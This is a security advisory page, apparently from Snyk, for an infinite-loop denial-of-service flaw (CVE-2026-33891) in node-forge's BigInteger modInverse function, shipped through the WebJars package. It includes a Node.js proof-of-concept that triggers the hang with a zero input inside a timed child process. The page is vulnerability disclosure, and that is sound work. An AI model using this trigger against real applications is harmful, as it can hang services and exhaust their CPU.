Infinite loop Affecting org.webjars.npm:node-forge package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.6% (45th percentile)

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  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-15789770
  • published27 Mar 2026
  • disclosed26 Mar 2026
  • creditKr0emer

Introduced: 26 Mar 2026

CVE-2026-33891  (opens in a new tab)
CWE-835  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

org.webjars.npm:node-forge is a WebJar for node-forge.

Affected versions of this package are vulnerable to Infinite loop via the modInverse function. An attacker can cause the application to hang indefinitely and consume excessive CPU resources by supplying a zero value as input, resulting in an infinite loop.

PoC

'use strict';
const { spawnSync } = require('child_process');

const childCode = `
  const forge = require('node-forge');
  // jsbn may not be auto-loaded; try explicit require if needed
  if (!forge.jsbn) {
    try { require('node-forge/lib/jsbn'); } catch(e) {}
  }
  if (!forge.jsbn || !forge.jsbn.BigInteger) {
    console.error('ERROR: forge.jsbn.BigInteger not available');
    process.exit(2);
  }
  const BigInteger = forge.jsbn.BigInteger;
  const zero = new BigInteger('0', 10);
  const mod = new BigInteger('3', 10);
  // This call should throw or return 0, but instead loops forever
  const inv = zero.modInverse(mod);
  console.log('returned: ' + inv.toString());
`;

console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();

const result = spawnSync(process.execPath, ['-e', childCode], {
  encoding: 'utf8',
  timeout: 5000,
});

if (result.error && result.error.code === 'ETIMEDOUT') {
  console.log('[VULNERABLE] Child process timed out after 5s');
  console.log('  -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
  process.exit(0);
}

if (result.status === 2) {
  console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
  console.log('  -> Check your node-forge installation');
  process.exit(1);
}

if (result.status === 0) {
  console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
  process.exit(1);
}

console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log('  stderr:', result.stderr.trim());
process.exit(1);

CVSS Base Scores

version 4.0
version 3.1